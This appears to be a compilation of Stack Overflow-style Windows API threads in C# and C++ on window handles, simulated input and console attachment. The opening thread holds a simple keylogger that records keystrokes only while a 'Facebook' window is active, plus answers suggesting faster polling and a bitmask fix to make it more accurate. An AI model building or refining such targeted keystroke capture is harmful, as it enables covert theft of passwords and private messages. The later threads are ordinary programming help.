I Have the below code which captures key strokes if the Active Window Title contains "Facebook", however, when testing... i'm not getting the exact order of keys pressed and some keys get missed... what can i do to improve upon this?
For example: if i type "ALI" i will get "AIL" Printed out
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
static void Main(string[] args)
{
while (true)
{
string WindowTitle = GetActiveWindowTitle();
if (WindowTitle == null)
return;
if (WindowTitle.Contains("Facebook"))
{
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state == 1 || state == -32767)
{
Console.WriteLine((Keys)i);
}
}
}
Thread.Sleep(1000);
}
}
private static string GetActiveWindowTitle()
{
const int chars = 256;
StringBuilder buff = new StringBuilder(chars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, chars) > 0)
{
return buff.ToString();
}
return null;
}
Reduce interval from 1s to 5ms for starters... Thread.Sleep(5);
And even with that,when you start typing really fast,keystrokes will still get permuted and\or missing,I'm not qualified enough to explain why. Btw,your intention is way too obvious,that's why nobody wants to answer your question.
Change these:
[DllImport("user32.dll")]
public static extern ushort GetAsyncKeyState(Int32 i);
and
if ((state & 0x0001) != 0 || (state & 0x8000) != 0 )
{
Console.WriteLine((Keys)i);
}
but unsure if it is going to work?
I'm doing an auto program (C#,not C++), and I need to get a RichTextBox in a form. I have used the Spy++ to get the title and class name, but FindWindowEx always does not find RichTextBox, and GetLastError gets the word 0. And then this is a simple example.
IntPtr parent = FindWindow(null, "Form1");
if (parent!=IntPtr.Zero) {
//find test1 textbox
IntPtr child = FindWindowEx(parent, 0,null, "test1");
if (child!=IntPtr.Zero) {
SendMessage(child, 0x000c, 0, lParam: "test");
} else {
Console.WriteLine("textbox can't be found");
}
//find test2 richtextbox
IntPtr childRich = FindWindowEx(parent, 0, null, "test2");
if (childRich != IntPtr.Zero) {
SendMessage(child, 0x000c, 0, lParam: "test");
} else {
Console.WriteLine("richtextbox can't be found");
}
} else {
Console.WriteLine("Form1 can't be found");
}
But result is richtextbox can't find. Help me.
I don't really think this is the best approach but it's something.
For this specific case you can search for all the handlers in the Form and then change the one you want.
var iHandle = Win32.FindWindow(null, "Form1");
var allItems = Win32.GetAllChildrenWindowHandles((IntPtr)iHandle, int.MaxValue);
Win32.SendMessage(allItems[1], 0x000c, 0, lParam: "Now you can change the text!");
I've tested and the allItems[1] will always be the same item, I think It's the way the items are ordered in the winForm top to bottom.
I'm using a second class for the Win Methods:
public class Win32
{
public const int WM_SETTEXT = 0X000C;
public static List<IntPtr> GetAllChildrenWindowHandles(IntPtr hParent, int maxCount)
{
var result = new List<IntPtr>();
int ct = 0;
IntPtr prevChild = IntPtr.Zero;
IntPtr currChild = IntPtr.Zero;
while (true && ct < maxCount)
{
currChild = FindWindowEx(hParent, prevChild, null, null);
if (currChild == IntPtr.Zero) break;
result.Add(currChild);
prevChild = currChild;
++ct;
}
return result;
}
[DllImport("user32.dll")]
public static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
[DllImport("User32.dll")]
public static extern int FindWindow(string strClassName, string strWindowName);
}
Edit: Method to get all children windows handles taken from: https://jamesmccaffrey.wordpress.com/2013/02/03/getting-all-child-window-handles-using-c-pinvoke-findwindowex/
I'm making an application that needs to work with the UI of a program which doesn't seem to implement UI Automation elements (Inspect.Exe only shows the main pane and no children).
So I researched about what the best ways to implement the features I need were, and found SendInput(), which apparently is a newer version of keybd_event() and mouse_event().
However, since it requires keyboard focus and since I can't afford to set the target window to foreground (to avoid bothering the user while it runs), I kept searching until I found this answer. I did what Skurmedel said, and joined my application's thread to the target's window thread. But now, even if I SetFocus() to the target and then SendInput(), the target window won't be affected.
My question either is "Why doesn't this work?" or "What am I doing wrong?", but I guess a code example will help sorting this out:
ThreadHandler class
class ThreadHandler
{
#region P/Invoking and constants definition
const uint WM_GETTEXT = 0x000D;
[DllImport("user32.dll")]
static extern IntPtr SetFocus(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern int GetWindowThreadProcessId(IntPtr hWnd, uint lpdwProcessId = 0);
delegate bool EnumThreadDelegate(IntPtr hWnd, IntPtr lParam);
[DllImport("user32.dll")]
static extern bool EnumThreadWindows(int dwThreadId, EnumThreadDelegate lpfn,
IntPtr lParam);
[DllImport("user32.dll")]
static extern bool AttachThreadInput(int idAttach, int idAttachTo, bool fAttach);
[DllImport("kernel32.dll")]
static extern int GetCurrentThreadId();
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, int wParam, StringBuilder lParam);
#endregion
public readonly string ProcessName, WindowName;
protected readonly int TargetThreadID, CurrentThreadID;
protected readonly IntPtr TargetWindowHandle;
public ThreadHandler(string processName, string windowName)
{
CurrentThreadID = GetCurrentThreadId();
ProcessName = processName;
WindowName = windowName;
object[] objs = GetWindowThread(processName, windowName);
if (objs == null)
{
throw new ArgumentException("Could not find the specified process/window.");
}
TargetThreadID = (int)objs[0];
TargetWindowHandle = (IntPtr)objs[1];
}
public ThreadHandler(string processName)
{
CurrentThreadID = GetCurrentThreadId();
ProcessName = processName;
var processes = Process.GetProcessesByName(ProcessName);
if (processes.Length == 0)
{
throw new ArgumentException("Could not find the specified process.");
}
var appProc = processes[0];
WindowName = appProc.MainWindowTitle;
TargetThreadID = GetWindowThreadProcessId(appProc.MainWindowHandle);
TargetWindowHandle = appProc.MainWindowHandle;
}
public bool AttachThreadInput()
{
return AttachThreadInput(CurrentThreadID, TargetThreadID, true);
}
public bool DetachThreadInput()
{
return AttachThreadInput(CurrentThreadID, TargetThreadID, false);
}
public void SetFocus()
{
SetFocus(TargetWindowHandle);
}
static object[] GetWindowThread(string processName, string windowName)
{
var processes = Process.GetProcessesByName(processName);
if (processes.Length > 0)
{
//Fill a list of handles
var handles = new List<IntPtr>();
foreach (ProcessThread thread in processes[0].Threads)
EnumThreadWindows(thread.Id,
(hWnd, lParam) => { handles.Add(hWnd); return true; }, IntPtr.Zero);
//Create a stringbuilder to function as storage unit
StringBuilder nameBuffer = new StringBuilder(64);
foreach (var hWnd in handles)
{
//And finally compare the caption of the window with the requested name
nameBuffer.Clear();
SendMessage(hWnd, WM_GETTEXT, nameBuffer.Capacity, nameBuffer);
if (nameBuffer.ToString() == windowName)
{
return new object[2] { GetWindowThreadProcessId(hWnd), hWnd };
}
}
}
return null;
}
}
Main method of the application
static void Main(string[] args)
{
Console.WriteLine("Please input the name of the process to hook: ");
string pName = Console.ReadLine();
Console.WriteLine("Input the name of a specific window, or leave blank: ");
string pWnd = Console.ReadLine();
ThreadHandler threadHandler;
try
{
if(!String.IsNullOrWhiteSpace(pWnd))
threadHandler = new ThreadHandler(pName, pWnd);
else
threadHandler = new ThreadHandler(pName);
}
catch
{
Console.WriteLine("Error: " + pName +" does not seem to be running.");
Console.ReadKey();
return;
}
if (!threadHandler.AttachThreadInput())
{
Console.WriteLine("Error: The application tried to attach its Input Processing Mechanism to " + threadHandler.ProcessName + ", but failed.");
Console.ReadKey();
return;
}
Console.WriteLine("Input Processing Mechanism correctly attached to " + threadHandler.ProcessName + ".");
threadHandler.SetFocus();
InputSimulator.SimulateTextEntry("test"); //InputSimulator is a seemingly famous SendInput wrapper. Replacing this line with the code for a keystroke also doesn't work.
Console.ReadLine();
Console.WriteLine("Detaching Input Processing Mechanism.");
threadHandler.DetachThreadInput();
}
Thanks in advance if you can elucidate me on the arcane arts of SendInput().
Make sure the specific control you are sending the keystrokes to is properly focused.
You should be able to use SetFocus to give focus to the control you are sending the keystrokes to.
SendMessage and PostMessage can also be used to send keystrokes, but it's BAD PRACTICE and should be avoided.
Check out System.Windows.Forms.SendKeys for information on sending keystrokes though the Forms class in .NET.
In a lot of cases, if you don't need the keystrokes themselves, you can just change the text on a window using SendMessage with WM_SETTEXT if this is what you're looking to do.
I'm trying to take process names as a string from a listBox in a for loop and search for all windows of those applications. When I add items manually to the listBox, it works fine; but when I use an embedded text file to store and load process names to the listBox, it searches for all items but finds only the last one. For the other ones, Process.GetProcessesByName() throws an exception: Sequence contains no elements.
[DllImport("user32.dll")]
static extern bool EnumThreadWindows(int dwThreadId, EnumThreadDelegate lpfn, IntPtr lParam);
static IEnumerable<IntPtr> EnumerateProcessWindowHandles(int processId)
{
var handles = new List<IntPtr>();
foreach (ProcessThread thread in Process.GetProcessById(processId).Threads)
EnumThreadWindows(thread.Id, (hWnd, lParam) => { handles.Add(hWnd); return true; }, IntPtr.Zero);
return handles;
}
Searching algorithm:
public void searchForApplications()
{
for (int i = 0; i < listBox1.Items.Count; i++)
{
try
{
foreach (var handle in EnumerateProcessWindowHandles
(Process.GetProcessesByName(listBox1.Items[i].ToString()).First().Id))
{
StringBuilder message = new StringBuilder(1000);
SendMessage(handle, WM_GETTEXT, message.Capacity, message);
if (message.ToString().Length > 0)
{
addNewApplication(new Applications(message.ToString(), message.ToString(),
int.Parse(handle.ToString())));
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
Thank you.
If GetProcessesByName doesn't find any processes matching the name you passed in (check your list), then it will return an empty array and First() will throw an InvalidOperationException. You should probably use FirstOrDefault() and check for null before getting the Id:
// ...
var process = Process.GetProcessesByName(listBox1.Items[i].ToString()).FirstOrDefault();
if (process != null)
{
foreach (var handle in EnumerateProcessWindowHandles(process.Id))
{
// ...
}
}
// ...
I have a progaram that can be ran both as a winform, or from command line. If it is invoked from a command line I call AttachConsole(-1) to attach to parent console.
However, after my program ends, the user must hit enter to get back the standard command prompt ("c:\>"). is there a way to avoid that need?
Thanks.
I could wrap it in a cmd file to avoid that issue, but I would like to do it from my exe.
Try adding this line just before your exe exits...
System.Windows.Forms.SendKeys.SendWait("{ENTER}");
Bit of a hack, but best I could find when I encountered that problem.
Here is the safest hack that solves the Enter key problem regardless of whether the console window is in the foreground, background, or minimized. You can even run it in multiple console windows.
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace WindowsAndConsoleApp
{
static class Program
{
const uint WM_CHAR = 0x0102;
const int VK_ENTER = 0x0D;
[DllImport("kernel32.dll")]
static extern bool AttachConsole(int dwProcessId);
private const int ATTACH_PARENT_PROCESS = -1;
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool FreeConsole();
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern int SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[STAThread]
static void Main(string[] args)
{
if (args.Length > 0)
{
// Do this first.
AttachConsole(ATTACH_PARENT_PROCESS);
Console.Title = "Console Window - Enter Key Test";
Console.WriteLine("Getting the handle of the currently executing console window...");
IntPtr cw = GetConsoleWindow();
Console.WriteLine($"Console handle: {cw.ToInt32()}");
Console.WriteLine("\nPut some windows in from of this one...");
Thread.Sleep(5000);
Console.WriteLine("Take your time...");
Thread.Sleep(5000);
Console.WriteLine("Sending the Enter key now...");
// Send the Enter key to the console window no matter where it is.
SendMessage(cw, WM_CHAR, (IntPtr)VK_ENTER, IntPtr.Zero);
// Do this last.
FreeConsole();
}
else
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new MainForm());
}
}
}
}
Rob L's approach is somewhat dangerous as it will send an Enter to the active window. A better approach is to actual send the Enter to the correct process (console).
here is how
internal static class NativeMethods
{
[DllImport("kernel32.dll", SetLastError = true)]
internal static extern bool AllocConsole();
[DllImport("kernel32.dll", SetLastError = true)]
internal static extern bool FreeConsole();
[DllImport("kernel32", SetLastError = true)]
internal static extern bool AttachConsole(int dwProcessId);
[DllImport("user32.dll")]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", SetLastError = true)]
internal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out int lpdwProcessId);
[DllImport("User32.Dll", EntryPoint = "PostMessageA")]
internal static extern bool PostMessage(IntPtr hWnd, uint msg, int wParam, int lParam);
internal const int VK_RETURN = 0x0D;
internal const int WM_KEYDOWN = 0x100;
}
--snip--
bool attached = false;
// Get uppermost window process
IntPtr ptr = NativeMethods.GetForegroundWindow();
int u;
NativeMethods.GetWindowThreadProcessId(ptr, out u);
Process process = Process.GetProcessById(u);
if (string.Compare(process.ProcessName, "cmd", StringComparison.InvariantCultureIgnoreCase) == 0)
{
// attach to the current active console
NativeMethods.AttachConsole(process.Id);
attached = true;
}
else
{
// create new console
NativeMethods.AllocConsole();
}
Console.Write("your output");
NativeMethods.FreeConsole();
if (attached)
{
var hWnd = process.MainWindowHandle;
NativeMethods.PostMessage(hWnd, NativeMethods.WM_KEYDOWN, NativeMethods.VK_RETURN, 0);
}
This solution is build upon the code that is found here:
http://www.jankowskimichal.pl/en/2011/12/wpf-hybrid-application-with-parameters/
It's late to the party and there have been many suggestions over the years, but as I recently just solved this issue myself by stitching together a bunch of information from various posts, I thought I'd post the solution here since it has the most relevant title.
This solution works without using the Enter key or simulating a key press. The only thing I couldn't completely solve is intercepting the Enter from the parent console when your application starts. I think this is impossible because it happens before you get a chance to intercept it; however, there is a reasonable quasi-workaround.
Before diving into the code, here's the sequence of things we need to do:
Attach to the parent console
Capture the text of the current prompt output by the parent console
Clear the parent console's prompt by overwriting it with spaces (not sure it's possible to otherwise prevent this from happening)
Interact with the console as normal
Restore parent console's previous prompt by writing what we captured in #2
This is what it would look like in use:
using System;
using System.Windows.Forms;
public static void Main(string[] args)
{
if (args.Length > 0)
{
using (new ConsoleScope())
{
Console.WriteLine("I now own the console");
Console.WriteLine("MUA HA HA HA HA HA!!!");
}
}
else
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new MainForm());
}
}
... and now for the code. It's more than I'd like, but this is as succinct as I could make it for a post. May this help others attempting the same thing. Enjoy!
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
public sealed class ConsoleScope : IDisposable
{
const int ATTACH_PARENT_PROCESS = -1;
const int STD_OUTPUT_HANDLE = -11;
readonly bool createdNewConsole;
readonly string prompt;
bool disposed;
public ConsoleScope()
{
if (AttachParentConsole())
{
prompt = CaptureParentConsoleCurrentPrompt();
}
else
{
AllocConsole();
createdNewConsole = true;
}
}
~ConsoleScope() => CleanUp();
public void Dispose()
{
CleanUp();
GC.SuppressFinalize(this);
}
static string CaptureParentConsoleCurrentPrompt()
{
var line = (short)Console.CursorTop;
var length = (short)Console.CursorLeft;
var noPrompt = line == 0 && length == 0;
if (noPrompt)
{
return default;
}
return ReadCurrentLineFromParentConsoleBuffer(line, length);
}
static string ReadCurrentLineFromParentConsoleBuffer(short line, short length)
{
var itemSize = Marshal.SizeOf(typeof(CHAR_INFO));
var buffer = Marshal.AllocHGlobal(length * itemSize);
var encoding = Console.OutputEncoding;
var text = new StringBuilder(capacity: length + 1);
var coordinates = default(COORD);
var textRegion = new SMALL_RECT
{
Left = 0,
Top = line,
Right = (short)(length - 1),
Bottom = line,
};
var bufferSize = new COORD
{
X = length,
Y = 1,
};
try
{
if (!ReadConsoleOutput(GetStdOutputHandle(), buffer, bufferSize, coordinates, ref textRegion))
{
Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
}
var array = buffer;
for (var i = 0; i < length; i++)
{
var info = Marshal.PtrToStructure<CHAR_INFO>(array);
var chars = encoding.GetChars(info.CharData);
text.Append(chars[0]);
array += itemSize;
}
}
finally
{
Marshal.FreeHGlobal(buffer);
}
// now that we've captured the current prompt, overwrite it with spaces
// so that things start where the parent left off at
Console.SetCursorPosition(0, line);
Console.Write(new string(' ', length));
Console.SetCursorPosition(0, line - 1);
return text.ToString();
}
void CleanUp()
{
if (disposed)
{
return;
}
disposed = true;
RestoreParentConsolePrompt();
if (createdNewConsole)
{
FreeConsole();
}
}
void RestoreParentConsolePrompt()
{
var text = prompt;
if (!string.IsNullOrEmpty(text))
{
// this assumes the last output from your application used
// Console.WriteLine or otherwise output a CRLF. if it didn't,
// you may need to add an extra line here
Console.Write(text);
}
}
[StructLayout(LayoutKind.Sequential)]
struct CHAR_INFO
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
public byte[] CharData;
public short Attributes;
}
[StructLayout(LayoutKind.Sequential)]
struct COORD
{
public short X;
public short Y;
}
[StructLayout(LayoutKind.Sequential)]
struct SMALL_RECT
{
public short Left;
public short Top;
public short Right;
public short Bottom;
}
// REF: https://learn.microsoft.com/en-us/windows/console/allocconsole
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool AllocConsole();
// REF: https://learn.microsoft.com/en-us/windows/console/attachconsole
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool AttachConsole(int dwProcessId);
// REF: https://learn.microsoft.com/en-us/windows/console/freeconsole
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool FreeConsole();
static bool AttachParentConsole() => AttachConsole(ATTACH_PARENT_PROCESS);
// REF: https://learn.microsoft.com/en-us/windows/console/readconsoleoutput
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadConsoleOutput(IntPtr hConsoleOutput, IntPtr lpBuffer, COORD dwBufferSize, COORD dwBufferCoord, ref SMALL_RECT lpReadRegion);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetStdHandle(int nStdHandle);
static IntPtr GetStdOutputHandle() => GetStdHandle(STD_OUTPUT_HANDLE);
}
Ok, I don't have the solution, but it seems to be because the cmd.exe is not waiting on the started process, whereas with a normal console application cmd.exe waits until the the application exits. I don't know what makes cmd.exe decide to wait or not on an application, normal Windows Forms applications are just started and cmd.exe doesn't wait for it to exit. Maybe this hint triggers somebody! I will dig a bit deeper in the mean while.
Try calling the FreeConsole function prior to exiting your executable.
This one has been the easiest solution for me:
myapp.exe [params] | ECHO.
I attempted my own Qt cpp version of Chris Martinez's C# answer:
https://github.com/NightVsKnight/QtGuiConsoleApp/blob/main/QtGuiConsoleApp/main.cpp
#include <QApplication>
#include <QMessageBox>
#ifdef Q_OS_WIN
// Solution posted to https://stackoverflow.com/a/73942013/252308
#define VC_EXTRALEAN
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
QString consolePromptClear()
{
QString prompt = nullptr;
auto bSuccess = AttachConsole(ATTACH_PARENT_PROCESS);
if (bSuccess)
{
auto hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
if (hStdOut != INVALID_HANDLE_VALUE)
{
CONSOLE_SCREEN_BUFFER_INFO csbi;
bSuccess = GetConsoleScreenBufferInfo(hStdOut, &csbi);
if (bSuccess)
{
auto dwConsoleColumnWidth = (DWORD)(csbi.srWindow.Right - csbi.srWindow.Left + 1);
auto xEnd = csbi.dwCursorPosition.X;
auto yEnd = csbi.dwCursorPosition.Y;
if (xEnd != 0 || yEnd != 0)
{
DWORD dwNumberOfChars;
SHORT yBegin = yEnd;
{
// Walk backwards to find first all blank line
auto pBuffer = (LPWSTR)LocalAlloc(LPTR, dwConsoleColumnWidth * sizeof(WCHAR));
while (yBegin)
{
COORD dwReadCoord = { 0, yBegin };
bSuccess = ReadConsoleOutputCharacterW(hStdOut, pBuffer, dwConsoleColumnWidth, dwReadCoord, &dwNumberOfChars);
if (!bSuccess) break;
DWORD i;
for (i=0; i < dwNumberOfChars; ++i)
{
WCHAR wchar = pBuffer[i];
if (wchar != L' ')
{
--yBegin;
break;
}
}
if (i == dwNumberOfChars)
{
// Found all blank line; we want the *next* [non-blank] line
yBegin++;
break;
}
}
LocalFree(pBuffer);
}
auto promptLength = (yEnd - yBegin) * dwConsoleColumnWidth + xEnd;
auto lpPromptBuffer = (LPWSTR)LocalAlloc(LPTR, promptLength * sizeof(WCHAR));
COORD dwPromptCoord = { 0, yBegin };
bSuccess = ReadConsoleOutputCharacterW(hStdOut, lpPromptBuffer, promptLength, dwPromptCoord, &dwNumberOfChars);
if (bSuccess)
{
Q_ASSERT(promptLength == dwNumberOfChars);
prompt = QString::fromWCharArray(lpPromptBuffer, dwNumberOfChars);
bSuccess = SetConsoleCursorPosition(hStdOut, dwPromptCoord);
if (bSuccess)
{
FillConsoleOutputCharacterW(hStdOut, L' ', promptLength, dwPromptCoord, &dwNumberOfChars);
}
}
LocalFree(lpPromptBuffer);
}
}
}
}
if (prompt.isEmpty())
{
FreeConsole();
return nullptr;
}
else
{
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
freopen_s((FILE**)stderr, "CONOUT$", "w", stderr);
freopen_s((FILE**)stdin, "CONIN$", "r", stdin);
return prompt;
}
}
void consolePromptRestore(const QString& prompt)
{
if (prompt.isEmpty()) return;
auto hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
if (hStdOut == INVALID_HANDLE_VALUE) return;
CONSOLE_SCREEN_BUFFER_INFO csbi;
BOOL bSuccess = GetConsoleScreenBufferInfo(hStdOut, &csbi);
if (!bSuccess) return;
auto xEnd = csbi.dwCursorPosition.X;
auto yEnd = csbi.dwCursorPosition.Y;
if (xEnd == 0 && yEnd == 0) return;
auto buffer = prompt.toStdWString();
auto lpBuffer = buffer.data();
auto nLength = (DWORD)buffer.length();
COORD dwWriteCoord = { 0, (SHORT)(yEnd + 1) };
DWORD dwNumberOfCharsWritten;
WriteConsoleOutputCharacterW(hStdOut, lpBuffer, nLength, dwWriteCoord, &dwNumberOfCharsWritten);
dwWriteCoord = { (SHORT)dwNumberOfCharsWritten, (SHORT)(yEnd + 1) };
SetConsoleCursorPosition(hStdOut, dwWriteCoord);
}
#else
// Non-Windows impl...
#endif
int main(int argc, char *argv[])
{
// NOTE: Any console output before call to consolePromptClear() may get cleared.
// NOTE: Console vs GUI mode has **NOTHING** to do with being passed arguments; You can easily pass arguments to GUI apps.
int returnCode;
auto prompt = consolePromptClear();
if (prompt.isEmpty())
{
QApplication a(argc, argv);
a.setQuitOnLastWindowClosed(true);
QMessageBox msgBox(nullptr);
msgBox.setWindowTitle(a.applicationName());
msgBox.setTextFormat(Qt::RichText);
msgBox.setText("App is detected to be running as a GUI");
msgBox.setStandardButtons(QMessageBox::Ok);
msgBox.show();
returnCode = a.exec();
}
else
{
QCoreApplication a(argc, argv);
QTextStream qout(stdout);
qout << "App is detected to be running as a Console" << Qt::endl;
returnCode = 0;
consolePromptRestore(prompt);
}
return returnCode;
}